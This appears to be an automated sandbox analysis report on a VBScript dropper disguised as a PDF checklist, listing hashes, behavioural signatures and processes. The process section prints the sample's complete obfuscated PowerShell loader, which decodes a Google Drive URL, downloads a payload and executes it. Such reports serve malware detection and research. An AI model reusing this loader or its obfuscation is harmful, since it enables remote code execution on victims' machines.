Analysis
-
max time kernel
299s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
06/11/2024, 09:51
Static task
static1
Behavioral task
behavioral1
Sample
rA01_278 Check list·pdf.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
rA01_278 Check list·pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
rA01_278 Check list·pdf.vbs
-
Size
14KB
-
MD5
9becd037359f4e017d31dc8ec143ec55
-
SHA1
dd98bea234f0b59af645b1a78ee2ca201ad7f1f5
-
SHA256
bec952140d46bb6b997483d3f1aba4228d80a943c1a956568754231ff3e668ee
-
SHA512
b49ee61f497b0a88f5c182ed97bc5db0da64a04f7154f7aa81be077bbaed7f949fabf02a751da51bd12f600600c622078cfa03c7353bf8fe3e32d71751aa44ea
-
SSDEEP
192:QbbM68CG8YWX/+mg0Q9bSu5C1YhhzbmpGSvEX1Dks6Dz4CrZQI57b/25vGFMjw7y:Yb05MFJ/FsQPHoimJHFcMcA
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2476 WScript.exe -
pid Process 2628 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2628 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2628 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2476 wrote to memory of 2628 2476 WScript.exe 31 PID 2476 wrote to memory of 2628 2476 WScript.exe 31 PID 2476 wrote to memory of 2628 2476 WScript.exe 31
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rA01_278 Check list·pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#thripple Dolkene Phrontisterion Individualising #>;$Dukken='shellburst';<#Anticreeper Tibiotarsus Pastos Broderings Lftendes #>; function Pickleworm($Naa){If ($host.DebuggerEnabled) {$Haandvaskens++;}$Smaabilledkameraets=$Rettersteds+$Naa.'Length' - $Haandvaskens; for ( $Molmen=4;$Molmen -lt $Smaabilledkameraets;$Molmen+=5){$Naablsende=$Molmen;$Republikanere228+=$Naa[$Molmen];}$Republikanere228;}function Prostern($Afhudning){ & ($Anteroflexion) ($Afhudning);}$Byggelov=Pickleworm 'SamlMUnbooTilezHveri Ti,lBlunlTr naAl m/Thia ';$Udrykningshornet=Pickleworm ' PauTP qulTragsOutf1Fort2Inds ';$Amiantus='St r[Retsn lueHa vTSejl.O.dksSiliEDa nRGenevAltaI Ln.cR lleKindP Sp.oAwkwIKarrN Quit Tr,m La aEuchn ,aiaAab.gBlodELemnRSmig]Cord:Bynk: TemSRev eDitlcurbaU uguRBurgIOrsoTIndkYaithPFrugrnappo culTParkOA.giCOpdro,gleLLamp=S.mm$ D.sULamaDNi,prEnemYs rukForgnwilliVa,iNimpeGKiwisPrisHChriOEn eRDiffNtaareTuskTLtap ';$Byggelov+=Pickleworm ' Hu 5 loo. duw0 Str Pa (SaltWAl ui St,nAntid InfoMennw Jo sIn e FariNtaylT orb Anm1Afko0Gall.i,oi0Sept;P,le ,akWSpodiE wan San6Viss4.nde;Mach Jurax ag6Kirs4kryd;Hj m Odd r .fsvPe,s: Chr1Nedb3alle1Angs.dist0Buel) ora Hy sGForseBe.ecFo ek Tobo Gor/Dext2Gen 0 Sli1.nci0 Sae0Fejl1Guet0 Unc1 R n Ha FKys iSprerSt eeOedofKonfoSidexCitr/Ante1R ce3 Pru1Acce.Be.l0 Lep ';$sadelmageren=Pickleworm ' ggluBerrSRenseSu drS ra-StamASaltgKeeceAngoN BzeTBlac ';$lovgivningsomraaderne=Pickleworm 'Anfohdeh t GattP.anpra esOpt.:Drue/Uset/Sup.dFornrKrigiKmpevCenteCyma.P plgPruno SavoBastgKopslT.ltePo,i. Va cOmnioDentmStor/ benustylc fde?JoureBambxF brp CosoByporMytht Out=towndExceoInitwBradn ivelBigaoT.lkaD scd Vac&EffoiKegld Spr=Kntr1 Ae,zBesks AmusSubaPcruePS veLMngeiTawp7 bal1StreSPappsPhosDOxyrdUnreWAfteXContJFu.dLJohaMVilli IscUB oh8indlq Affh koeLEr oW CutXS,vaZAbonsAktiSPol bDicabPegafP,on ';$Skaltendes=Pickleworm 'L.de> S.a ';$Anteroflexion=Pickleworm 'sligiHisteRichXUdsv ';$Stangspringerens='Forholdsmssige252';$Symboliseredes='\Lhund.Sty';Prostern (Pickleworm 'Tota$IntogI ollFo.tOD scbPhoeA TumlPo i: FecBHundA FutgSt me SlyN SkiDMars=Wor $ Cdre arlNAu ev Non:R.gsA rkePP omp oppdProka .opTSylfAForn+Fysi$PastsUdply ensmS,ndb TrooInsklpredI Ar.S ateE,fskrNitrESva DT reE RepSPomp ');Prostern (Pickleworm 'Int,$BenzGMi tlUnorofosfBTechAUnddL G.o:Bl dSElekuQuinB priMDebieH orN Ko IPersnRverGG nteO sha rveL as=Lace$SkaklAflaoBugsv CymgKon iFundVEmbenTr aI ultNArmegP keS ogOKontmLasirPl taG maABonndMonoECirkr,ipsNBeateAuto.CastS Chlptab LNin I.opgtGrei(Tilh$Tel s HomK erfAPrveL Gr TSelvE vejn ,esDUndeeKil,srill)Di k ');Prostern (Pickleworm $Amiantus);$lovgivningsomraaderne=$Submeningeal[0];$Effortfully=(Pickleworm 'Supe$ F.agGar.lSto O,ubtBTresAGaleLNedp:ExtrlFi,eiTripN NonD,inerGendiSyltn LalGMilk=omkoNTr cERhamwSt g-L bio oruBSerpJEldrePyntCDonoTImbl PolySPattYHogfS LyrtBlteEStimmg ls. ffaN uvEVigrt Gra.quinW HeeERestbS.vrCSirlLKommI T,sEAltmn Su tKoor ');Prostern ($Effortfully);Prostern (Pickleworm ' Hal$ At lFleriSkrenAvandNrherSkoriGourn c ng Hje.HippHBiebe VoyaUdgadDisce SchrMembsPo t[K or$O trsDep aSuffd L.we Pr l Dogm eboa malgKonteNo cr C ieStatnKon.]Fals=Unde$R baB Besy lygmanig.kolekolll ejoAgenvSnu ');$frastdte=Pickleworm 'Kvot$ Nodlrei iVansn rbldH.ddrEngaiDe,pn Mi,ga ti.AnhoDSurbo AarwSemin ConlS eroEnteaHalldD,flF Stji S,alAr ie Tdl(Brod$ Serl inso G dv uskgAnveiTanovHap nUndeireginb sngForhsScamo KirmTrekrFuldaTa oaDiscdBesmeTrepr eponDrevebuny,Well$BaroMSy soCordrSa.ttSautmB.jeaDetei Ig,nGejssN,xu)S ov ';$Mortmains=$Bagend;Prostern (Pickleworm ' Ch,$InduGPa,fLAus.O,clebOutdaEv lLAsy,:moulP BrsrUnree PetANondDIso vMgbeENed.R V,cTPidgeStatNAschC UnpY Mgl=s mk( steT HjgeVandSNephTKon,-AlaiP jkoAPostt okhHSym Val$How.mA too SkyrAvisTKrusmG.avA neeITra nFdsesKurs).air ');while (!$Preadvertency) {Prostern (Pickleworm 'Deku$AcasgVed.lSupeoK libSkndaU anl Ta :Co sN Pa oFlyvvUsureClunmRevalspgeoUndebAndraUndetEksaeSub =Bars$ PoltAf nrFiguu skie M g ') ;Prostern $frastdte;Prostern (Pickleworm 'WatesTrueTVrgeAFemiRLo,eTOutt-Class nusLTracESpyfeFa spFor Vaab4 Ban ');Prostern (Pickleworm 'Inst$justGF nhLMohooExtrBTje aE lalSpro:DingP PerRRoofe Ad.ASemiDpla vAmanE arkrFlelt Si,ePostnBajac He YPort=funk(ViliT Flye R bSD arTStra-Is tPUn.iaFljatBranhFred B g$ AlcmS uloWe rR KomTR elMImpraPantiEp rN Unsssomm)Udd ') ;Prostern (Pickleworm 'Fors$Favog Genl onuoInt.BOcelATranlIndo:ReviLTegnAFishgs anKStilARamegBelaeCohonPers= Tan$benzG actlCoggo FlybHygrA ArrLEnk : RepFLinerRd ia N.tnunerk,esilHelmiUgenNRegniMyndzPictA yloTNoiliArrooUnddN ,ar+Crys+ ods%Svag$ AntsUnreuA lab SemMP nierib nFootIKan nXy iG MiseVranA B alPeti.Perlc SneO Et,UTillN rivTJogg ') ;$lovgivningsomraaderne=$Submeningeal[$Lagkagen];}$Theorises=318880;$Devil=30838;Prostern (Pickleworm 'Cryp$MawkGAnn.L,ivuoSnapBK,teA MarLAnve:Sp.nU ngrnTeg DFitmLTra BAlba Ov r=Isva MyngBissEBal TSeku-F.rbc anto K uNMotot ClyEPrednDispt lde M nu$Pat.M ThyoPattRLititSkamMSociARougi CheNna bs Pit ');Prostern (Pickleworm 'Tire$Phylg Sa l VejoPtysbEgepaMin,lN ve:KompWarveaPen,gAffonmepheBro rHjrniKattaRe,vnFla aSten Sta=C si Aars[Q avSUnmoyManis .vet.vere UbemTr v.ForaCChl.oArimnSte vOvereP eorBra tSmad]Unde:play: P oFRevirAgteoEyesm.isfB K ba .vesFrileFor 6Supr4MakeSSagstInkorBjrgiUntanSy,hgFlip(Elev$KillU utnBantdBortlBro bEtti)Mona ');Prostern (Pickleworm 'Pres$CockGNo,cLSkraO F rBpostaBasnLNo,f:Sau bLandAFernRY,msIpr sSInte Wenn=Rea Rinc[ResiSSkanySignS Ol Tde eePau,MFibr.He ttTeeuEPri.xskumtSyna.Supee Un nTiptcUnceoSi hDRidsI VagNIdnhGSwit]Scre:Ti b: NemAAalbSCla cyo siUdpriElec. dr gValgEIdeitSpresKjerT turRVen,I AntNGhaugGu s(Orig$PommWKeloaCantGHoplnVarsE MasrPel,ItoxiAN naN SpaA Wel)Oe e ');Prostern (Pickleworm 'Sco $Pen gF.rrlBangOAmbuB PeraCa cLBibe:ShoruRefrN NeuCFrafU anRUnclsInc I steN Anng.isk=,lip$NonrBPaciaTe.eR Ta.I .orS her.Rap STol,U AntB,ttrsLy,eTDisnRPaakIquinNSupeglort(Wa d$Gemmt ampHtyndERedioMildroppoi PlaSKittE TopsAfsk,Mpon$ShimdVirkeMateVSteniSeafL.kud) dib ');Prostern $uncursing;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b